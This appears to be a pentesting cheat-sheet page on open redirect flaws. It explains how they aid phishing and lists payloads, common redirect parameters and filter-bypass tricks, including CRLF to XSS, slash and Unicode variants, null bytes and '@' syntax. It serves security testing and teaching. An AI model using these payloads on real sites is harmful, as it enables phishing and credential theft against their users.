Skip to main content

open-redirect

Open Redirect

Un-validated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input.

By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance.

Un-validated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application’s access control check and then forward the attacker to privileged functions that they would normally not be able to access.

Methodology

An open redirect vulnerability occurs when a web application or server uses unvalidated, user-supplied input to redirect users to other sites. This can allow an attacker to craft a link to the vulnerable site which redirects to a malicious site of their choosing.

Attackers can leverage this vulnerability in phishing campaigns, session theft, or forcing a user to perform an action without their consent.

Example: A web application has a feature that allows users to click on a link and be automatically redirected to a saved preferred homepage. This might be implemented like so:

https://example.com/redirect?url=https://userpreferredsite.com

An attacker could exploit an open redirect here by replacing the userpreferredsite.com with a link to a malicious website. They could then distribute this link in a phishing email or on another website. When users click the link, they're taken to the malicious website.


Redirect Methods

Path-based Redirects

Instead of query parameters, redirection logic may rely on the path:

  • Using slashes in URLs: https://example.com/redirect/http://malicious.com
  • Injecting relative paths: https://example.com/redirect/../http://malicious.com

JavaScript-based Redirects

If the application uses JavaScript for redirects, attackers may manipulate script variables:

Example:

var redirectTo = "http://trusted.com";
window.location = redirectTo;

Payload: ?redirectTo=http://malicious.com


Common Query Parameters

?checkout_url={payload}
?continue={payload}
?dest={payload}
?destination={payload}
?go={payload}
?image_url={payload}
?next={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
?return_path={payload}
?return_to={payload}
?return={payload}
?returnTo={payload}
?rurl={payload}
?target={payload}
?url={payload}
?view={payload}
/{payload}
/redirect/{payload}

Filter Bypass

  • Using a whitelisted domain or keyword

    www.whitelisted.com.evil.com redirect to evil.com
  • Using CRLF to bypass "javascript" blacklisted keyword (Open Redirect to XSS):

    java%0d%0ascript%0d%0a:alert(0)
  • Using "//" and "////" to bypass "http" blacklisted keyword

    //google.com
    ////google.com
  • Using "https:" to bypass "//" blacklisted keyword

    https:google.com
  • Using "\/\/" to bypass "//" blacklisted keyword

    \/\/google.com/
    /\/google.com/
  • Using "%E3%80%82" to bypass "." blacklisted character

    /?redir=google。com
    //google%E3%80%82com
  • Using null byte "%00" to bypass blacklist filter

    //google%00.com
  • Using HTTP Parameter Pollution

    ?next=whitelisted.com&next=google.com
  • Using "@" character. Common Internet Scheme Syntax

    //<user>:<password>@<host>:<port>/<url-path>
    http://www.theirsite.com@yoursite.com/
  • Creating folder as their domain

    http://www.yoursite.com/http://www.theirsite.com/
    http://www.yoursite.com/folder/www.folder.com
  • Using "?" character, browser will translate it to "/?"

    http://www.yoursite.com?http://www.theirsite.com/
    http://www.yoursite.com?folder/www.folder.com
  • Host/Split Unicode Normalization

    https://evil.c℀.example.com . ---> https://evil.ca/c.example.com
    http://a.com/X.b.com